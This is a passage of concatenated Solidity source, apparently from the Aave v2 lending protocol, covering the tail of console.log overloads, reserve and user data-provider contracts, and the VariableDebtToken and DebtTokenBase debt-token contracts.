p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {IERC20Detailed} from '../dependencies/openzeppelin/contracts/IERC20Detailed.sol'; import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol'; import {IUiPoolDataProvider} from './interfaces/IUiPoolDataProvider.sol'; import {ILendingPool} from '../interfaces/ILendingPool.sol'; import {IPriceOracleGetter} from '../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../interfaces/IAToken.sol'; import {IVariableDebtToken} from '../interfaces/IVariableDebtToken.sol'; import {IStableDebtToken} from '../interfaces/IStableDebtToken.sol'; import {WadRayMath} from '../protocol/libraries/math/WadRayMath.sol'; import {ReserveConfiguration} from '../protocol/libraries/configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../protocol/libraries/configuration/UserConfiguration.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; import { DefaultReserveInterestRateStrategy } from '../protocol/lendingpool/DefaultReserveInterestRateStrategy.sol'; contract UiPoolDataProvider is IUiPoolDataProvider { using WadRayMath for uint256; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; address public constant MOCK_USD_ADDRESS = 0x10F7Fc1F91Ba351f9C629c5947AD69bD03C05b96; function getInterestRateStrategySlopes(DefaultReserveInterestRateStrategy interestRateStrategy) internal view returns ( uint256, uint256, uint256, uint256 ) { return ( interestRateStrategy.variableRateSlope1(), interestRateStrategy.variableRateSlope2(), interestRateStrategy.stableRateSlope1(), interestRateStrategy.stableRateSlope2() ); } function getReservesData(ILendingPoolAddressesProvider provider, address user) external view override returns ( AggregatedReserveData[] memory, UserReserveData[] memory, uint256 ) { ILendingPool lendingPool = ILendingPool(provider.getLendingPool()); IPriceOracleGetter oracle = IPriceOracleGetter(provider.getPriceOracle()); address[] memory reserves = lendingPool.getReservesList(); DataTypes.UserConfigurationMap memory userConfig = lendingPool.getUserConfiguration(user); AggregatedReserveData[] memory reservesData = new AggregatedReserveData[](reserves.length); UserReserveData[] memory userReservesData = new UserReserveData[](user != address(0) ? reserves.length : 0); for (uint256 i = 0; i < reserves.length; i++) { AggregatedReserveData memory reserveData = reservesData[i]; reserveData.underlyingAsset = reserves[i]; // reserve current state DataTypes.ReserveData memory baseData = lendingPool.getReserveData(reserveData.underlyingAsset); reserveData.liquidityIndex = baseData.liquidityIndex; reserveData.variableBorrowIndex = baseData.variableBorrowIndex; reserveData.liquidityRate = baseData.currentLiquidityRate; reserveData.variableBorrowRate = baseData.currentVariableBorrowRate; reserveData.stableBorrowRate = baseData.currentStableBorrowRate; reserveData.lastUpdateTimestamp = baseData.lastUpdateTimestamp; reserveData.aTokenAddress = baseData.aTokenAddress; reserveData.stableDebtTokenAddress = baseData.stableDebtTokenAddress; reserveData.variableDebtTokenAddress = baseData.variableDebtTokenAddress; reserveData.interestRateStrategyAddress = baseData.interestRateStrategyAddress; reserveData.priceInEth = oracle.getAssetPrice(reserveData.underlyingAsset); reserveData.availableLiquidity = IERC20Detailed(reserveData.underlyingAsset).balanceOf( reserveData.aTokenAddress ); ( reserveData.totalPrincipalStableDebt, , reserveData.averageStableRate, reserveData.stableDebtLastUpdateTimestamp ) = IStableDebtToken(reserveData.stableDebtTokenAddress).getSupplyData(); reserveData.totalScaledVariableDebt = IVariableDebtToken(reserveData.variableDebtTokenAddress) .scaledTotalSupply(); // reserve configuration // we're getting this info from the aToken, because some of assets can be not compliant with ETC20Detailed reserveData.symbol = IERC20Detailed(reserveData.aTokenAddress).symbol(); reserveData.name = ''; ( reserveData.baseLTVasCollateral, reserveData.reserveLiquidationThreshold, reserveData.reserveLiquidationBonus, reserveData.decimals, reserveData.reserveFactor ) = baseData.configuration.getParamsMemory(); ( reserveData.isActive, reserveData.isFrozen, reserveData.borrowingEnabled, reserveData.stableBorrowRateEnabled ) = baseData.configuration.getFlagsMemory(); reserveData.usageAsCollateralEnabled = reserveData.baseLTVasCollateral != 0; ( reserveData.variableRateSlope1, reserveData.variableRateSlope2, reserveData.stableRateSlope1, reserveData.stableRateSlope2 ) = getInterestRateStrategySlopes( DefaultReserveInterestRateStrategy(reserveData.interestRateStrategyAddress) ); if (user != address(0)) { // user reserve data userReservesData[i].underlyingAsset = reserveData.underlyingAsset; userReservesData[i].scaledATokenBalance = IAToken(reserveData.aTokenAddress) .scaledBalanceOf(user); userReservesData[i].usageAsCollateralEnabledOnUser = userConfig.isUsingAsCollateral(i); if (userConfig.isBorrowing(i)) { userReservesData[i].scaledVariableDebt = IVariableDebtToken( reserveData .variableDebtTokenAddress ) .scaledBalanceOf(user); userReservesData[i].principalStableDebt = IStableDebtToken( reserveData .stableDebtTokenAddress ) .principalBalanceOf(user); if (userReservesData[i].principalStableDebt != 0) { userReservesData[i].stableBorrowRate = IStableDebtToken( reserveData .stableDebtTokenAddress ) .getUserStableRate(user); userReservesData[i].stableBorrowLastUpdateTimestamp = IStableDebtToken( reserveData .stableDebtTokenAddress ) .getUserLastUpdated(user); } } } } return (reservesData, userReservesData, oracle.getAssetPrice(MOCK_USD_ADDRESS)); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; interface IUiPoolDataProvider { struct AggregatedReserveData { address underlyingAsset; string name; string symbol; uint256 decimals; uint256 baseLTVasCollateral; uint256 reserveLiquidationThreshold; uint256 reserveLiquidationBonus; uint256 reserveFactor; bool usageAsCollateralEnabled; bool borrowingEnabled; bool stableBorrowRateEnabled; bool isActive; bool isFrozen; // base data uint128 liquidityIndex; uint128 variableBorrowIndex; uint128 liquidityRate; uint128 variableBorrowRate; uint128 stableBorrowRate; uint40 lastUpdateTimestamp; address aTokenAddress; address stableDebtTokenAddress; address variableDebtTokenAddress; address interestRateStrategyAddress; // uint256 availableLiquidity; uint256 totalPrincipalStableDebt; uint256 averageStableRate; uint256 stableDebtLastUpdateTimestamp; uint256 totalScaledVariableDebt; uint256 priceInEth; uint256 variableRateSlope1; uint256 variableRateSlope2; uint256 stableRateSlope1; uint256 stableRateSlope2; } // // struct ReserveData { // uint256 averageStableBorrowRate; // uint256 totalLiquidity; // } struct UserReserveData { address underlyingAsset; uint256 scaledATokenBalance; bool usageAsCollateralEnabledOnUser; uint256 stableBorrowRate; uint256 scaledVariableDebt; uint256 principalStableDebt; uint256 stableBorrowLastUpdateTimestamp; } // // struct ATokenSupplyData { // string name; // string symbol; // uint8 decimals; // uint256 totalSupply; // address aTokenAddress; // } function getReservesData(ILendingPoolAddressesProvider provider, address user) external view returns ( AggregatedReserveData[] memory, UserReserveData[] memory, uint256 ); // function getUserReservesData(ILendingPoolAddressesProvider provider, address user) // external // view // returns (UserReserveData[] memory); // // function getAllATokenSupply(ILendingPoolAddressesProvider provider) // external // view // returns (ATokenSupplyData[] memory); // // function getATokenSupply(address[] calldata aTokens) // external // view // returns (ATokenSupplyData[] memory); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {IERC20Detailed} from '../dependencies/openzeppelin/contracts/IERC20Detailed.sol'; import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol'; import {ILendingPool} from '../interfaces/ILendingPool.sol'; import {IStableDebtToken} from '../interfaces/IStableDebtToken.sol'; import {IVariableDebtToken} from '../interfaces/IVariableDebtToken.sol'; import {ReserveConfiguration} from '../protocol/libraries/configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../protocol/libraries/configuration/UserConfiguration.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; contract AaveProtocolDataProvider { using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; address constant MKR = 0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2; address constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; struct TokenData { string symbol; address tokenAddress; } ILendingPoolAddressesProvider public immutable ADDRESSES_PROVIDER; constructor(ILendingPoolAddressesProvider addressesProvider) public { ADDRESSES_PROVIDER = addressesProvider; } function getAllReservesTokens() external view returns (TokenData[] memory) { ILendingPool pool = ILendingPool(ADDRESSES_PROVIDER.getLendingPool()); address[] memory reserves = pool.getReservesList(); TokenData[] memory reservesTokens = new TokenData[](reserves.length); for (uint256 i = 0; i < reserves.length; i++) { if (reserves[i] == MKR) { reservesTokens[i] = TokenData({symbol: 'MKR', tokenAddress: reserves[i]}); continue; } if (reserves[i] == ETH) { reservesTokens[i] = TokenData({symbol: 'ETH', tokenAddress: reserves[i]}); continue; } reservesTokens[i] = TokenData({ symbol: IERC20Detailed(reserves[i]).symbol(), tokenAddress: reserves[i] }); } return reservesTokens; } function getAllATokens() external view returns (TokenData[] memory) { ILendingPool pool = ILendingPool(ADDRESSES_PROVIDER.getLendingPool()); address[] memory reserves = pool.getReservesList(); TokenData[] memory aTokens = new TokenData[](reserves.length); for (uint256 i = 0; i < reserves.length; i++) { DataTypes.ReserveData memory reserveData = pool.getReserveData(reserves[i]); aTokens[i] = TokenData({ symbol: IERC20Detailed(reserveData.aTokenAddress).symbol(), tokenAddress: reserveData.aTokenAddress }); } return aTokens; } function getReserveConfigurationData(address asset) external view returns ( uint256 decimals, uint256 ltv, uint256 liquidationThreshold, uint256 liquidationBonus, uint256 reserveFactor, bool usageAsCollateralEnabled, bool borrowingEnabled, bool stableBorrowRateEnabled, bool isActive, bool isFrozen ) { DataTypes.ReserveConfigurationMap memory configuration = ILendingPool(ADDRESSES_PROVIDER.getLendingPool()).getConfiguration(asset); (ltv, liquidationThreshold, liquidationBonus, decimals, reserveFactor) = configuration .getParamsMemory(); (isActive, isFrozen, borrowingEnabled, stableBorrowRateEnabled) = configuration .getFlagsMemory(); usageAsCollateralEnabled = liquidationThreshold > 0; } function getReserveData(address asset) external view returns ( uint256 availableLiquidity, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 liquidityRate, uint256 variableBorrowRate, uint256 stableBorrowRate, uint256 averageStableBorrowRate, uint256 liquidityIndex, uint256 variableBorrowIndex, uint40 lastUpdateTimestamp ) { DataTypes.ReserveData memory reserve = ILendingPool(ADDRESSES_PROVIDER.getLendingPool()).getReserveData(asset); return ( IERC20Detailed(asset).balanceOf(reserve.aTokenAddress), IERC20Detailed(reserve.stableDebtTokenAddress).totalSupply(), IERC20Detailed(reserve.variableDebtTokenAddress).totalSupply(), reserve.currentLiquidityRate, reserve.currentVariableBorrowRate, reserve.currentStableBorrowRate, IStableDebtToken(reserve.stableDebtTokenAddress).getAverageStableRate(), reserve.liquidityIndex, reserve.variableBorrowIndex, reserve.lastUpdateTimestamp ); } function getUserReserveData(address asset, address user) external view returns ( uint256 currentATokenBalance, uint256 currentStableDebt, uint256 currentVariableDebt, uint256 principalStableDebt, uint256 scaledVariableDebt, uint256 stableBorrowRate, uint256 liquidityRate, uint40 stableRateLastUpdated, bool usageAsCollateralEnabled ) { DataTypes.ReserveData memory reserve = ILendingPool(ADDRESSES_PROVIDER.getLendingPool()).getReserveData(asset); DataTypes.UserConfigurationMap memory userConfig = ILendingPool(ADDRESSES_PROVIDER.getLendingPool()).getUserConfiguration(user); currentATokenBalance = IERC20Detailed(reserve.aTokenAddress).balanceOf(user); currentVariableDebt = IERC20Detailed(reserve.variableDebtTokenAddress).balanceOf(user); currentStableDebt = IERC20Detailed(reserve.stableDebtTokenAddress).balanceOf(user); principalStableDebt = IStableDebtToken(reserve.stableDebtTokenAddress).principalBalanceOf(user); scaledVariableDebt = IVariableDebtToken(reserve.variableDebtTokenAddress).scaledBalanceOf(user); liquidityRate = reserve.currentLiquidityRate; stableBorrowRate = IStableDebtToken(reserve.stableDebtTokenAddress).getUserStableRate(user); stableRateLastUpdated = IStableDebtToken(reserve.stableDebtTokenAddress).getUserLastUpdated( user ); usageAsCollateralEnabled = userConfig.isUsingAsCollateral(reserve.id); } function getReserveTokensAddresses(address asset) external view returns ( address aTokenAddress, address stableDebtTokenAddress, address variableDebtTokenAddress ) { DataTypes.ReserveData memory reserve = ILendingPool(ADDRESSES_PROVIDER.getLendingPool()).getReserveData(asset); return ( reserve.aTokenAddress, reserve.stableDebtTokenAddress, reserve.variableDebtTokenAddress ); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IVariableDebtToken} from '../../interfaces/IVariableDebtToken.sol'; import {WadRayMath} from '../libraries/math/WadRayMath.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; import {DebtTokenBase} from './base/DebtTokenBase.sol'; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; import {IAaveIncentivesController} from '../../interfaces/IAaveIncentivesController.sol'; /** * @title VariableDebtToken * @notice Implements a variable debt token to track the borrowing positions of users * at variable rate mode * @author Aave **/ contract VariableDebtToken is DebtTokenBase, IVariableDebtToken { using WadRayMath for uint256; uint256 public constant DEBT_TOKEN_REVISION = 0x1; ILendingPool internal _pool; address internal _underlyingAsset; IAaveIncentivesController internal _incentivesController; /** * @dev Initializes the debt token. * @param pool The address of the lending pool where this aToken will be used * @param underlyingAsset The address of the underlying asset of this aToken (E.g. WETH for aWETH) * @param incentivesController The smart contract managing potential incentives distribution * @param debtTokenDecimals The decimals of the debtToken, same as the underlying asset's * @param debtTokenName The name of the token * @param debtTokenSymbol The symbol of the token */ function initialize( ILendingPool pool, address underlyingAsset, IAaveIncentivesController incentivesController, uint8 debtTokenDecimals, string memory debtTokenName, string memory debtTokenSymbol, bytes calldata params ) public override initializer { _setName(debtTokenName); _setSymbol(debtTokenSymbol); _setDecimals(debtTokenDecimals); _pool = pool; _underlyingAsset = underlyingAsset; _incentivesController = incentivesController; emit Initialized( underlyingAsset, address(pool), address(incentivesController), debtTokenDecimals, debtTokenName, debtTokenSymbol, params ); } /** * @dev Gets the revision of the stable debt token implementation * @return The debt token implementation revision **/ function getRevision() internal pure virtual override returns (uint256) { return DEBT_TOKEN_REVISION; } /** * @dev Calculates the accumulated debt balance of the user * @return The debt balance of the user **/ function balanceOf(address user) public view virtual override returns (uint256) { uint256 scaledBalance = super.balanceOf(user); if (scaledBalance == 0) { return 0; } return scaledBalance.rayMul(_pool.getReserveNormalizedVariableDebt(_underlyingAsset)); } /** * @dev Mints debt token to the `onBehalfOf` address * - Only callable by the LendingPool * @param user The address receiving the borrowed underlying, being the delegatee in case * of credit delegate, or same as `onBehalfOf` otherwise * @param onBehalfOf The address receiving the debt tokens * @param amount The amount of debt being minted * @param index The variable debt index of the reserve * @return `true` if the the previous balance of the user is 0 **/ function mint( address user, address onBehalfOf, uint256 amount, uint256 index ) external override onlyLendingPool returns (bool) { if (user != onBehalfOf) { _decreaseBorrowAllowance(onBehalfOf, user, amount); } uint256 previousBalance = super.balanceOf(onBehalfOf); uint256 amountScaled = amount.rayDiv(index); require(amountScaled != 0, Errors.CT_INVALID_MINT_AMOUNT); _mint(onBehalfOf, amountScaled); emit Transfer(address(0), onBehalfOf, amount); emit Mint(user, onBehalfOf, amount, index); return previousBalance == 0; } /** * @dev Burns user variable debt * - Only callable by the LendingPool * @param user The user whose debt is getting burned * @param amount The amount getting burned * @param index The variable debt index of the reserve **/ function burn( address user, uint256 amount, uint256 index ) external override onlyLendingPool { uint256 amountScaled = amount.rayDiv(index); require(amountScaled != 0, Errors.CT_INVALID_BURN_AMOUNT); _burn(user, amountScaled); emit Transfer(user, address(0), amount); emit Burn(user, amount, index); } /** * @dev Returns the principal debt balance of the user from * @return The debt balance of the user since the last burn/mint action **/ function scaledBalanceOf(address user) public view virtual override returns (uint256) { return super.balanceOf(user); } /** * @dev Returns the total supply of the variable debt token. Represents the total debt accrued by the users * @return The total supply **/ function totalSupply() public view virtual override returns (uint256) { return super.totalSupply().rayMul(_pool.getReserveNormalizedVariableDebt(_underlyingAsset)); } /** * @dev Returns the scaled total supply of the variable debt token. Represents sum(debt/index) * @return the scaled total supply **/ function scaledTotalSupply() public view virtual override returns (uint256) { return super.totalSupply(); } /** * @dev Returns the principal balance of the user and principal total supply. * @param user The address of the user * @return The principal balance of the user * @return The principal total supply **/ function getScaledUserBalanceAndSupply(address user) external view override returns (uint256, uint256) { return (super.balanceOf(user), super.totalSupply()); } /** * @dev Returns the address of the underlying asset of this aToken (E.g. WETH for aWETH) **/ function UNDERLYING_ASSET_ADDRESS() public view returns (address) { return _underlyingAsset; } /** * @dev Returns the address of the incentives controller contract **/ function getIncentivesController() external view override returns (IAaveIncentivesController) { return _getIncentivesController(); } /** * @dev Returns the address of the lending pool where this aToken is used **/ function POOL() public view returns (ILendingPool) { return _pool; } function _getIncentivesController() internal view override returns (IAaveIncentivesController) { return _incentivesController; } function _getUnderlyingAssetAddress() internal view override returns (address) { return _underlyingAsset; } function _getLendingPool() internal view override returns (ILendingPool) { return _pool; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ILendingPool} from '../../../interfaces/ILendingPool.sol'; import {ICreditDelegationToken} from '../../../interfaces/ICreditDelegationToken.sol'; import { VersionedInitializable } from '../../libraries/aave-upgradeability/VersionedInitializable.sol'; import {IncentivizedERC20} from '../IncentivizedERC20.sol'; import {Errors} from '../../libraries/helpers/Errors.sol'; /** * @title DebtTokenBase * @notice Base contract for different types of debt tokens, like StableDebtToken or VariableDebtToken * @author Aave */ abstract contract DebtTokenBase is IncentivizedERC20('DEBTTOKEN_IMPL', 'DEBTTOKEN_IMPL', 0), VersionedInitializable, ICreditDelegationToken { mapping(address => mapping(address => uint256)) internal _borrowAllowances; /** * @dev Only lending pool can call functions marked by this modifier **/ modifier onlyLendingPool { require(_msgSender() == address(_getLendingPool()), Errors.CT_CALLER_MUST_BE_LENDING_POOL); _; } /** * @dev delegates borrowing power to a user on the specific debt token * @param delegatee the address receiving the delegated borrowing power * @param amount the maximum amount being delegated. Delegation will still * respect the liquidation constraints (even if delegated, a delegatee cannot * force a delegator HF to go below 1) **/ function approveDelegation(address 